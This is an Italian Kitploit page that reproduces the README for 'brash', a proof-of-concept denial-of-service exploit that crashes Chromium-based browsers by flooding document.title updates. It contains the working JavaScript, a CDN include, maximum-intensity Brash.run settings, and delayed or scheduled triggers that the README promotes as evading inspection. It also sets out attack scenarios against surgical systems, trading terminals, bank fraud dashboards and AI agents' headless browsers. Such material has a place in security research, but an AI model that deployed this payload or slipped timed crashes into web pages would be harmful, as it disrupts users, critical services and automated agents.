Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
brash — Attacco DoS al Browser Chromium tramite sfruttamento di document.title | Kitploit
Strumenti/GitHubGitHub/jofpin/brash
Framework di ExploitAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration Testing
GitHubjofpin/brash

brash

Attacco DoS al Browser Chromium tramite sfruttamento di document.title

Vedi Repository
18069 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Brash

Brash di Jose Pino

Attacco DoS al Browser Chromium tramite lo sfruttamento di document.title

Brash è una vulnerabilità critica in Blink, il motore di rendering che alimenta i browser basati su Chromium di Google. Consente a qualsiasi browser Chromium di collassare in 15-60 secondi sfruttando un difetto architetturale nel modo in cui vengono gestite alcune operazioni DOM.

Il vettore d'attacco nasce dalla completa assenza di rate limiting sugli aggiornamenti dell'API document.title. Ciò consente di iniettare milioni di mutazioni DOM al secondo e, durante questo tentativo di iniezione, satura il thread principale, interrompendo l'event loop e causando il collasso dell'interfaccia. L'impatto è significativo: consuma elevate risorse CPU, degrada le prestazioni complessive del sistema e può bloccare o rallentare altri processi eseguiti contemporaneamente. Colpendo i browser Chromium su desktop, Android e ambienti embedded, questa vulnerabilità espone oltre 3 miliardi di persone su internet a un denial of service a livello di sistema.

STATO: Operativa
VERSIONI COLPITE: Chromium ≤ 143.0.7483.0 (testate: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] L'exploit è attualmente operativo. Una volta corretta la vulnerabilità, questo codice smetterà di funzionare. In ogni caso, scoprire questo difetto architetturale e completare l'intero percorso di ricerca, documentazione e progettazione per condividere qualcosa di impattante con il mondo è stato un viaggio incredibilmente gratificante.

Test

Sono stati testati 11 browser principali su macOS, Windows e Linux per validare l'impatto della vulnerabilità.

Vulnerabili (Chromium/Blink)

Tutti i browser basati su Chromium sono vulnerabili perché il difetto risiede nel cuore del motore di rendering Blink:

  • Chrome — crash in 15-30 secondi
  • Edge — crash in 15-25 secondi
  • Vivaldi — crash in 15-30 secondi
  • Arc Browser — crash in 15-30 secondi
  • Dia Browser — crash in 15-30 secondi
  • Opera — crash in ~60 secondi
  • Perplexity Comet — crash in 15-35 secondi
  • ChatGPT Atlas — crash in 15-60 secondi
  • Brave — crash in 30-125 secondi

Non vulnerabili (che usano altri motori)

  • Firefox (motore Gecko) — immune all'attacco
  • Safari (motore WebKit) — immune all'attacco
  • Browser iOS (usano tutti WebKit) — immuni all'attacco grazie alla politica obbligatoria di Apple che richiede a tutti i browser iOS di usare WebKit come motore di rendering, rendendo impossibili i browser basati su Chromium su iOS

Come funziona

Brash sfrutta un difetto architetturale fondamentale nel motore di rendering Blink: l'assenza di throttling sugli aggiornamenti di document.title. L'attacco opera in tre fasi critiche:

1. Generazione degli hash (Preparazione)

Genera 100 stringhe esadecimali uniche di 512 caratteri e le memorizza in memoria prima di iniziare l'attacco.

Perché pre-caricarle invece di generarli in tempo reale?

Perché generare costantemente nuove stringhe consuma tempo CPU in operazioni matematiche. Quel tempo è critico: ogni millisecondo speso per generare stringhe è tempo NON usato per bombardare il browser con aggiornamenti di document.title.

Avendo 100 stringhe già caricate in memoria:

  • Attacco più veloce: nessuna pausa per generare stringhe
  • CPU focalizzata: il 100% delle risorse dedicato a saturare il browser
  • Meno pause di sistema: impedisce al garbage collector di attivarsi costantemente
  • Evita il rilevamento: le 100 stringhe diverse impediscono al browser di mettere in cache o ottimizzare gli aggiornamenti

Di conseguenza, otteniamo la massima velocità di iniezione con il massimo consumo di memoria per aggiornamento.

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Iniezione a raffiche (Attacco)

Esegue raffiche configurabili di aggiornamenti del titolo. Con la configurazione predefinita (burst: 8000, interval: 1ms), tenta di iniettare circa 24 milioni di aggiornamenti al secondo, ed è durante questo tentativo che inizia il collasso del browser.

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. Saturazione del thread dell'interfaccia (Collasso)

Gli aggiornamenti continui saturano il thread principale del browser, impedendo l'elaborazione di altri eventi:

Sequenza temporale del collasso:

  • 0-5s: saturazione iniziale del thread dell'interfaccia, consumo estremo di CPU
  • 5-10s: scheda completamente congelata, impossibile da chiudere
  • 10-15s: collasso del browser o finestra di dialogo "Pagina non risponde"
  • 15-60s: terminazione forzata necessaria (nei browser basati su Chromium)

Perché funziona?

Blink elabora ogni modifica di document.title in modo sincrono sul thread principale senza rate limiting. Questo crea un collo di bottiglia che:

  • Blocca l'event loop
  • Impedisce l'elaborazione degli input utente
  • Satura la memoria con stringhe lunghe
  • Interrompe il compositor e la pipeline di rendering
  • Provoca il thrashing dei processi del browser

Demo e PoC

Per comprendere appieno l'impatto di Brash, puoi sperimentare l'exploit in diversi contesti, da una demo live controllata alla tua implementazione personale. Ogni opzione è progettata per diversi livelli di interazione e comprensione tecnica.

1. Demo live

Il modo più rapido per vedere Brash in azione. Visita https://brash.run

Per vedere l'exploit senza interfaccia grafica, visita https://brash.run/hidden-live-demo.html. Questa versione esegue l'iniezione in modo invisibile, simulando un attacco reale.

2. Demo locale

Se preferisci eseguire la demo nel tuo ambiente, la directory exploit-demo/ inclusa nel repository ti consente di:

  • Controlli per regolare l'intensità dell'attacco in tempo reale
  • Contatore visivo degli aggiornamenti al secondo
  • Tre modalità predefinite: moderata, aggressiva ed estrema
  • Osservazione del collasso progressivo del browser

Basta aprire exploit-demo/index.html in un qualsiasi browser Chromium e configurare i valori burst e interval prima di iniziare.

  • burstSize: modifiche del titolo per intervallo (più alto = più aggressivo)
  • interval: millisecondi tra le raffiche (più basso = più aggressivo)

3. Implementa il tuo PoC

Per integrare Brash nei tuoi test di sicurezza o nella tua ricerca, includi lo script e configura l'attacco:

Includi lo script:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Utilizzo dell'API:

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configurazioni di intensità:

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

Nota: Ogni raffica esegue 3 aggiornamenti sequenziali di document.title. Ad esempio, burstSize: 400 = 1.200 aggiornamenti effettivi per intervallo.

Scenari di attacco

Brash può essere trasformato in un'arma in molteplici contesti critici, con conseguenze che vanno dalle perdite economiche al rischio per la vita umana.

Attacchi con ritardo temporale: tempismo strategico

Una caratteristica critica che amplifica la pericolosità di Brash è la sua capacità di essere programmato per eseguire in momenti specifici. Un attaccante può iniettare il codice con un innesco temporale, rimanendo dormiente fino a un momento esatto predeterminato.

Implementazione tecnica:

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

Parametri:

  • burstSize: aggiornamenti per ciclo
  • interval: millisecondi tra i cicli
  • delay: numero (secondi) o stringa ("30s", "5000ms", "3m")
  • scheduled: stringa ISO o oggetto Date

Perché il parametro delay è particolarmente letale:

  1. Non richiede di sapere quando apriranno il link: aspetta semplicemente X secondi da quando la vittima apre la pagina.

  2. Tempo per stabilire fiducia: durante i minuti di attesa, la vittima interagisce con contenuti apparentemente legittimi (moduli, documenti, video).

  3. Elude l'ispezione iniziale: se qualcuno esamina rapidamente il codice, sembra inattivo. L'attacco non viene eseguito fino a più tardi.

  4. Tempismo psicologico perfetto: aspetta finché la vittima non è profondamente coinvolta nel compito (a metà esame, a metà riunione, durante una procedura critica).

Scenario tipico con delay:

root@kitploit:~
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

Perché anche il parametro scheduled è devastante:

  1. Sincronizzazione chirurgica: l'attaccante sceglie il momento esatto di massimo impatto (apertura dei mercati, picco delle operazioni).

  2. Attacchi coordinati su scala globale: più obiettivi possono essere colpiti simultaneamente nello stesso secondo.

  3. Elude il rilevamento preventivo: il codice dannoso può essere presente giorni o settimane prima senza essere eseguito, superando le revisioni di sicurezza.

  4. Impossibile da fermare: quando l'attacco viene eseguito, è troppo tardi per prevenirlo.

Esempi di tempismo strategico:

  • 09:30 AM EST — apertura di Wall Street (massima volatilità di trading)
  • 03:00 AM — cambio turno in ospedale (minimo personale, massima vulnerabilità)
  • 12:00 PM — picco del traffico aereo (numero massimo di voli simultanei)
  • Black Friday 00:00 — inizio delle vendite online (massimo traffico e-commerce)
  • Durante eventi live — dibattiti presidenziali, Super Bowl, eventi sportivi di massa

Questa capacità di tempismo cinetico trasforma Brash da strumento di disruption in arma di precisione temporale, in cui l'attaccante controlla non solo il "cosa" e il "dove", ma anche il "quando" con precisione millimetrica.


Avvelenamento degli agenti AI: sistemi automatizzati

Scenario: I sistemi aziendali che dipendono da agenti AI per il web scraping, l'analisi di mercato, il monitoraggio della concorrenza o l'automazione dell'assistenza clienti usano browser headless (Chromium/Puppeteer) per interrogare migliaia di siti web ogni giorno. Un attaccante inietta Brash nei siti popolari che questi agenti interrogano.

Durante operazioni automatizzate critiche:

  • Un agente AI interroga un sito di notizie finanziarie compromesso per l'analisi di mercato
  • Brash viene eseguito silenziosamente nel browser headless dell'agente
  • Il processo del browser collassa, fermando l'intera pipeline di analisi
  • I sistemi a valle in attesa dei dati dell'agente vanno in timeout
  • Le decisioni automatizzate di trading/prezzi vengono bloccate
  • Il sistema di monitoraggio rileva guasti massicci in più agenti simultaneamente
  • È necessario un intervento manuale per riavviare l'intera infrastruttura degli agenti

Vettori d'attacco amplificati:

  • Assistenti di ricerca AI: agenti che cercano ed elaborano informazioni web per le aziende
  • Bot di monitoraggio prezzi: sistemi e-commerce che tracciano i prezzi della concorrenza
  • Strumenti di analisi SEO: servizi che eseguono il crawling di milioni di pagine per analisi
  • Assistenza clienti basata su AI: chatbot che interrogano la documentazione web in tempo reale
  • Scansione di conformità automatizzata: sistemi normativi che monitorano i siti web

Impatto reale: paralisi delle operazioni automatizzate critiche, perdite economiche per decisioni non prese, degrado massiccio dei servizi che dipendono dall'AI, costi di ripristino dell'infrastruttura, esposizione della dipendenza critica dagli agenti automatizzati.

Interruzione di procedure chirurgiche: potenzialmente letale

Scenario: Un chirurgo cardiovascolare esegue un bypass coronarico assistito da un sistema di navigazione chirurgica basato sul web (sempre più comune negli interventi minimamente invasivi). Il sistema fornisce immagini in tempo reale, metriche vitali del paziente e guida per gli strumenti robotici.

Durante la fase più critica dell'operazione, appare una notifica del browser: "ALERT: aggiornamento critico del sistema chirurgico - Applicare ora o l'operazione potrebbe fallire."

Cliccando nel panico:

  • Il browser collassa istantaneamente insieme al sistema di navigazione chirurgica
  • Il chirurgo perde la visualizzazione delle immagini guida per 3-5 minuti
  • I segni vitali in tempo reale scompaiono dagli schermi
  • Il team medico deve improvvisare mentre riavvia il sistema
  • Il paziente è a rischio critico durante la finestra di collasso

Impatto reale: rischio diretto di morte del paziente, possibilità di danni permanenti, trauma psicologico per il team medico, cause legali da milioni di dollari per negligenza tecnologica.

Flash crash in borsa

Scenario: Durante l'apertura dei mercati di Wall Street, un attore malintenzionato inietta Brash in più canali contemporaneamente: interfaccia web di Bloomberg Terminal, chat dei trader istituzionali e forum specializzati. Il link promette "Fuga: trascrizione della riunione d'emergenza della Fed - Taglio dei tassi confermato."

Nei primi 30 secondi di contrattazione (massima liquidità):

  • 200+ trader istituzionali cliccano simultaneamente
  • I loro terminal web collassano proprio mentre piazzano ordini da milioni di dollari
  • Gli algoritmi di trading automatizzato interpretano il calo improvviso di attività come un "crash"
  • Vengono innescate massicce vendite automatiche
  • Il mercato scende del 5-7% in 90 secondi prima degli interruttori automatici (circuit breakers)
  • Milioni di investitori retail perdono i loro risparmi

Impatto reale: migliaia di miliardi di dollari di perdite di capitalizzazione di mercato, panico finanziario globale, indagini della SEC, potenziale crisi di fiducia nei mercati.

Sistema bancario: prevenzione delle frodi in tempo reale

Scenario: Gli analisti delle frodi di una banca elaborano in tempo reale alert di transazioni sospette tramite una dashboard web. Durante il Black Friday (picco delle transazioni), ricevono Brash via email aziendale: "Nuovo schema di frode rilevato - analisi urgente richiesta."

Nel momento di massimo volume transazionale:

  • 20+ analisti aprono il link simultaneamente
  • Le dashboard di rilevamento frodi collassano
  • 15-20 minuti di transazioni non vengono revisionati
  • Gli attaccanti sfruttano la finestra per processare migliaia di transazioni rubate
  • Frodi da 2-5 milioni di dollari passano inosservate
  • I sistemi automatizzati sono configurati per consentire le transazioni se gli analisti non rispondono

Impatto reale: milioni di dollari di perdite dirette, migliaia di clienti con addebiti fraudolenti, danni reputazionali massicci, multe normative per guasti ai sistemi di prevenzione.


Questi scenari non sono teorici. La semplicità di Brash lo rende una minaccia reale per qualsiasi operazione che dipenda dai browser web, che nel 2025 significa praticamente tutto.

Considerazioni finali

La creazione di Brash è uno sforzo per dimostrare cosa accade quando mancano protezioni di base nelle tecnologie web che usiamo ogni giorno. La vulnerabilità non risiede in codice complesso o tecniche avanzate, ma nella fondamentale assenza di rate limiting su un'API che dovrebbe essere limitata (throttled) per progettazione.

L'impatto di Brash su oltre 3 miliardi di utenti di browser Chromium dimostra che i difetti architetturali in componenti fondamentali come Blink hanno conseguenze enormi e globali. Questo non è un bug isolato: è un difetto di progettazione che interessa l'intero ecosistema Chromium.

Spesso, le cose più pericolose si nascondono nel posto meno previsto, quello più ignorato. - Jose Pino

Esclusione di responsabilità

Questo PoC è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza, per contribuire a rendere internet un posto più sicuro. La sua esecuzione deve essere effettuata esclusivamente in ambienti controllati e non deve essere utilizzata su sistemi di produzione, siti web pubblici o dispositivi contenenti dati importanti.

L'uso improprio di questo exploit può causare crash del browser, perdita di dati e instabilità del sistema. L'autore non è responsabile di danni, perdite di dati o conseguenze legali derivanti dall'uso o dall'uso improprio di questo PoC. Utilizzando Brash, riconosci di comprendere questi rischi e accetti di usarlo solo per ricerche di sicurezza legittime in ambienti isolati.

Gli utenti sono tenuti a rispettare tutte le leggi e le normative applicabili. L'uso non autorizzato di questo exploit contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare è illegale e non etico.

Licenza

Il contenuto di questo progetto è concesso in licenza secondo la Creative Commons Attribution 3.0 license, e il codice sorgente sottostante utilizzato per formattare e visualizzare tale contenuto è concesso in licenza secondo la MIT license.

Copyright (c) 2025 di Jose Pino

Scarica lo strumento